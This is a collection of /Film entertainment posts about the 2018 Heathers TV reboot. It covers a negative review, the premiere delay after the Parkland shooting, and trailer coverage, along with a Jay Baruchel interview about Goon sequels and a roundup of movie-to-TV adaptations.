Watching the first five episodes – which also horribly mishandle the reverse-outing of Heather McNamara, turn Heather Duke into a fully misrepresented genderqueer stereotype, and does something so profoundly stupid with Heather Chandler that I’m still rolling my eyes – I was reminded a lot of The CW’s Riverdale. (Even the poster feels like a cheap homage.) That show, which hit the zeitgeist last year and is a hit among both teens and the adult set, shares DNA with the original Heathers. The dialogue is equally pulpy, and it’s set in a sort of dreamy fantasy world of neon and junk food culture. But it’s a teen show that rests firmly on its influences – from Twin Peaks to John Hughes movies to the Archie comics its based on – while forging its own iconography. The kids can be quippy and self-destructive, but they’re ultimately good to one another. It knows how to have its diatribe cake and eat it too.
Heathers, on the other hand, is far too indebted to its source material to stand on its own legs, and is willfully ignorant its moment in history. It makes you long for Riverdale, but also Ryan Murphy’s Glee and Scream Queens, shows that – though varied in quality – were respectfully offensive and only occasionally tone deaf.
Honestly, I could get over some of the issues with the trio if they were contracted with a lead couple that made any sort of sense. But our fucked up love birds Veronica and J.D. (James Scully) have virtually zero chemistry and charisma. Part of the success of the original came from the electric tension between Ryder and Slater, who were both beautiful but otherworldly. Cox and Scully don’t have that same magnetic energy. Both are bland and lifeless, and the show tries to hard to make us like Veronica and doesn’t try hard enough to make us hate J.D.
And boy oh boy is this J.D. insufferable. The clever trick of the ‘80s Heather is that it teetered the line between J.D. as a manipulative but sensical lover and a full-blown maniac. His modus operandi was disguised in clever drags at his self-obsessed generation. (“Chaos is what killed the dinosaurs, darling.”) But Scully’s J.D. is about as subtle as a heart attack. As soon as he meets Veronica, he’s already on one about how flawed society is and blah blah blah. The character’s toxic masculinity was believably intoxicating in 1988. In 2018, you have to wonder why the hell Veronica isn’t running for the door.
But it’s not like Veronica is much better. The stress of being too “normal,” and desperately maintaining her status as a “good person” just doesn’t hold. In one laughable moment in the pilot, Veronica’s classic line from the original – “Lick it up, baby. Lick. It. Up.” – is changed to “Lick it up, fatty,” which she hurls at Heather Chandler in a moment of rage. It falls out of her mouth in a way that stuns her; she’s not the type of person to say that sort of thing. She’s a good person.
A smarter show would utilize this discrepancy in character better. Heathers tries to. Veronica’s evolving self-awareness is supposed to be a through-line. But only “just.” Like so much of this reimagining, it doesn’t have enough self-awareness of its own to properly mitigate the flaws of its lead. Instead, Veronica feels like a blank note in her own story.
I’ll say this: I found the first five episodes of the show very watchable, despite my calcifying lack of trust in where it’s headed. Once it moves away from the structure of the film, it has a little more fun. I love the inversion of Veronica’s former best friend, Betty Finn (yes, like Riverdale, there are a Betty and Veronica – both are plays on the Archie digests). And despite my discomfort with how their characters are treated, Brendan Scannell and Jasmine Mathews are two great young actors with a lot of personality.
I’m not exactly optimistic about the prognosis of Heathers, but I’ll watch just in case. Still, it’s hard to shake just how poorly the show lands when, in real life, teenagers are saving the world instead of making it this petty and ridiculous.
The post The ‘Heathers’ TV Show is a Rotten, Misguided Riff on the Original Movie appeared first on /Film.
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The already-controversial Heathers TV show has been delayed in the wake of the Parkland school shooting. The Paramount Network series was set to debut next week, but will now air at a later, undetermined date.
You’ll have to wait a bit longer to see the Heathers TV show, if you want to see it at all. The series, adapted from the1989 cult classic dark comedy starring Winona Ryder and Christian Slater, was set to debut on the Paramount Network on March 7. Now, citing recent tragic events of the Parkland school shooting, Paramount Network has pulled the show – which, if it’s anything like the movie, deals with teenagers killing other teenagers – from the schedule.
“Paramount Network’s original series Heathers is a satirical comedy that takes creative risks in dealing with many of society’s most challenging subjects ranging from personal identity to race and socio-economic status to gun violence,” Paramount Network said in a statement (via Variety). “While we stand firmly behind the show, in light of the recent tragic events in Florida and out of respect for the victims, their families and loved ones, we feel the right thing to do is delay the premiere until later this year.”
While this is certainly a sensible decision, the Heathers TV show was already up against some controversy. Early reviews of the show have been scathing (it’s currently sitting at 20% on Rotten Tomatoes), and many have criticized the show’s approach to the material. The original film told a story of a clique of popular high school girls who behave cruelty towards their classmates. The new Heathers TV show, in contrast, seems to flip things, making students normally thought of as outcasts the cruel bullies instead.
“Heathers is a hateful, bigoted exercise in regression hiding behind the guise of dark comedy,” writes Birth.Movies.Death. “With nearly 30 years to study and learn from the film, Paramount Network’s TV take on Heathers is a one-note disappointment, taking certain surface-level detours from the movie and adding precious little scathing insight of its own,” says The Hollywood Reporter. “Heathers skewers teen culture without providing any clear reasoning or critical stance,” claims Slant Magazine.
/Film’s own (very negative) review will be up tomorrow. Here’s an excerpt:
“The Heathers in this version aren’t thin and white; they’re a self-identified fat girl, a black lesbian, and a genderqueer redhead. The sort of kids that would be punchlines in the original are now making the status quo. It’s a concept that might have worked if the show had any sort of insight of the actuality of Millennial youth. Instead, it mocks the social media platforms that are, in reality, galvanizing young people into political action. It mocks body positivity. It mocks queer identification. It sympathies with its new Veronica, a pretty blonde girl who struggles to get into college because she isn’t “different” enough. It’s about as mind-numbing a concept as you can imagine. The poor white straight kids! It’s so hard being them!”
The Paramount Network has yet to announce a new premiere date for the series.
The post ‘Heathers’ TV Show Delayed Due to Parkland School Shooting appeared first on /Film.
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Paramount Network is erring on the side of sensitivity and delaying the March 7 premiere of Heathers in the wake of this month’s school shooting in Parkland, Florida, that left 17 people dead.
These aren’t the Heathers you remember. In the 1988 cult classic, the original Heathers, played with icy conviction by Kim Walker, Shannon Doherty, and Lisanne Falk, were willowy, beautiful mean girls who terrorized their fellow high school students — until Winona Ryder and Christian Slater’s rebellious outsiders took fatal action against them. Heathers was a heightened, sadistic satire of the pitfalls of high school whose body count would arguably not play well post-Columbine.
But here we are, with a modern reboot of Heathers, only with a new trio of Heathers cast as a body positive bully, a gender-binary guy, and an African-American fashionista. How very.
Paramount Network, formerly known as Spike, is apparently going above and beyond to modernize its reboot of Heathers, with an impressively diverse cast making up the group of bullies at the top of the high school food chain. Ironically, the only conventionally thin, white characters are Veronica Sawyer and her sociopath boyfriend JD, whose status as the outsiders ring a bit hollow now. I can’t be the only one who feels a bit discomfited about two white teens scheming to kill their LGBT, body-positive, and POC classmates.
“We’re not doing irony anymore, keep up,” Heather Chandler berates Veronica Sawyer in the raucous trailer, poking fun at the Gen-X attitude surrounding the release of the original Heathers. It verges on self-parody, especially with the appearance of ’90s teen icons Selma Blair and Shannen Doherty (who played the wolf-in-sheep’s-clothing Heather Duke in the original). The tone is so sardonic that it reminds me heavily of Ryan Murphy’s messy, acerbic teen TV dramedies like Scream Queens — which may not bode well for the Heathers reboot.
The Heathers TV series stars Grace Victoria Cox as Veronica Sawyer, James Scully as JD, Melanie Field as Heather Chandler, Brendan Scannell as Heather Duke, and Jasmine Mathews as Heather McNamara.
Here is the official synopsis for the Heathers reboot:
Heathers is an hour-long pitch-black comedy anthology set in the present day, based on the 1988 cult classic film of the same name. The much-anticipated reboot perfectly blends drama, love, rivalry, and comedy into a modern-day masterpiece.
Heathers premieres on March 7, 2018 on the Paramount Network.
The post ‘Heathers’ TV Show Trailer: Teenage Angst Still Has a Body Count appeared first on /Film.
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The following is an actual line of dialogue from Paramount Network’s upcoming Heathers series: “She looks like if Jim Henson got in one last puppet before he died.”
Ever walk out of a movie theater and think to yourself, “That would have made a great TV show”? If so, you’re on the same wavelength as most Hollywood executives these days.
Though movies have long been getting adapted as television shows, the trend has picked up serious steam in the last few years. It seems we can’t go more than a few days without reporting on the latest movie-to-TV project, from the sensible (CBS’ upcoming S.W.A.T.) to the wacky (a female-centric spin on What About Bob?).
To that end, we’ve compiled a handy guide of all the films making their way from the silver screen to the small screen. If these photos look familiar, you’re not going crazy: They used to be part of our comprehensive Reboots and Revivals gallery, but have since been promoted to their own digs.
In the attached gallery, you’ll find projects that are currently on the air (The Exorcist, Lethal Weapon), still in development (Galaxy Quest, Blue Crush) or just plain D.O.A. (we hardly knew ya, Cruel Intentions series!).
OK, enough from us. Peruse the photos to the right — or click here for direct access — for a look at the films becoming TV series, then hit the comments and tell us: Which project are you most looking forward to?
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The story of Doug Glatt (Sean William Scott) and his mighty fists might not end with Goon: Last of the Enforcers. Co-writer/director Jay Baruchel‘s sequel comes five after the release of the first movie, which has a passionate fanbase in both movie and hockey fans. Hopefully, they’ll help make more than a single Goon sequel happen because Baruchel has more stories to tell about the Halifax Highlanders.
Below, the director shares an idea for one of the Goon sequels he has in mind.
Doug Glatt is beginning to lose some steam in Goon: Last of the Enforcers, with his punch not packing as much heat as it used to. He’s not too far off from his Ross Rhea (Liev Schreiber) days. Glatt isn’t the only character who’s changed and lost some of their thunder in the sequel. But with any luck, it won’t be the last Goon sequel we ever see.
When we spoke with the actor, director, and co-writer of Goon: Last of the Enforcers, he told us there are “three other massive whole [Goon] stories”:
By the time the film ended, we were like, “Fuck. I think we gotta do this again. I feel like we’re just scratching the surface.” A testament to that is we made a whole other movie and there are still three other massive whole stories we’ve fleshed out [Laughs], in addition to half a dozen other characters and then about a dozen different arcs and jokes for all the team. We still have way more story than we were able to fit into two movies.
Baruchel told us one of those stories would be “a fucked up cross between Heathers and The Mighty Ducks” about Doug and Eva’s (Alison Pill) daughter:
It has to be organic, but I will say this, we have a very deep world we’re very proud of. If the world wants us to, we’d do it again in a heart beat. We know exactly what we would do. Given the chance, we could do this for a while, or just hold off for 15 years and come back and do the third one, which if we got to, would be about Doug and Eva’s daughter. It’d be a fucked up cross between Heathers and The Mighty Ducks. It’s a teen high school comedy about how hard is it come of age, how hard it is to be a girl in high school, especially when you’re six-foot-two and you’re the hardest hockey player on the team for the boys. I think that could be something awesome. There are about four other arcs between number two and that one we’d like to tell.
Baruchel has been thinking about the world of Goon for almost a decade now when you take into account how long it took to get the first movie and the sequel made. His enthusiasm for Glatt, the Halifax Highlanders, and the whole ensemble registers loud and clear when he discusses them, so it’s no surprise he doesn’t want the Last of the Enforcers to be the last of this great fictional hockey team.
There are more places to take the characters. We could even follow a supporting character like Ross Rhea until the end of his days. How do Glatt and Rhea’s lives look without hockey? That’s a question in Goon: Last of the Enforcers that Baruchel and all involved could keep exploring in more sequels. Hopefully, we’ll see Doug Glatt and the Highlanders skate again.
Goon: Last of the Enforcers opens in theaters and is available on VOD on September 1.
The post Jay Baruchel Wants to Make a ‘Goon’ Sequel That’s ‘Heathers’ Meets ‘Mighty Ducks’ appeared first on /Film.
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Heathers is the latest classic film title to get adapted into a television series. What was originally going to be a half-hour TV Land comedy series based on the 1988 cult classic was turned into an hour-long comedy for the Paramount Network, which will soon take the place of Spike TV. Like Fargo, Heathers is planned as an anthology series, with each season being conceived to follow a new group of Heathers.
Below, watch the Heathers TV show trailer.
Season 1 of the series features ten episodes and three new Heathers (Melanie Field, Brendan Scannell, and Jasmine Matthews). Victoria Cox (Under the Dome) and James Scully are playing Veronica Sawyer and JD, the two roles made famous by Winona Ryder and Christian Slater. Cox and Sully don’t exactly have big shoes to fill since the Paramount TV series looks like it’s going to to take some departures from Michael Lehmann’s film.
Based on the trailer, there’s a similar tone, but this is a 10-hour series, not a 100-minute movie, so presumably, we’ll see different versions of Sawyer and JD who can easily stand on their own and step out from under the shadow of the original characters. Winks and nods to the original are expected, though, as the casting of one of the original Heathers, Shannon Doherty, confirms. Even the first look at the series features a callback to one of the movie’s most famous lines.
Coming to The Paramount Network in 2018. #Heathers pic.twitter.com/5W3PQ5ztux
— Heathers (@Heatherstv) August 28, 2017
The series was going to premiere at the Tribeca Film Festival and debut this fall, but Paramount TV decided to hold off until 2018 to release the series. They showed the first footage from Heathers last night during the MTV Video Music Awards, which is probably the exact audience Paramount TV wants to reach.
The pilot is written by Jason A. Micallef (Butter) and directed by someone who raises our hopes for the series: Leslye Headland. Headland was a writer on FX’s Terriers, wrote the About Last Night remake, and wrote and directed the excellent romantic comedy, Sleeping With Other People, which is far more grounded in the real world than most romantic comedies we see. It’s a great movie that’s hard especially hard to turn away from when it’s on cable.
The anthology series is called a “pitch-dark comedy,” but I’m curious how dark it’ll get. If the movie was released today, it’s easy to imagine how some people would react to material that dark and tongue-in-cheek, especially as it relates to high school students. Without a sense of humor about its cruel, wicked self, the Paramount Network show probably wouldn’t feel like Heathers – but the brief glimpse at the series suggests they’re not sugarcoating this series.
Heathers debuts on the Paramount Network in 2018.
The post ‘Heathers’ TV Show Trailer: A Modern Reimagining of an ’80s Cult Classic appeared first on /Film.
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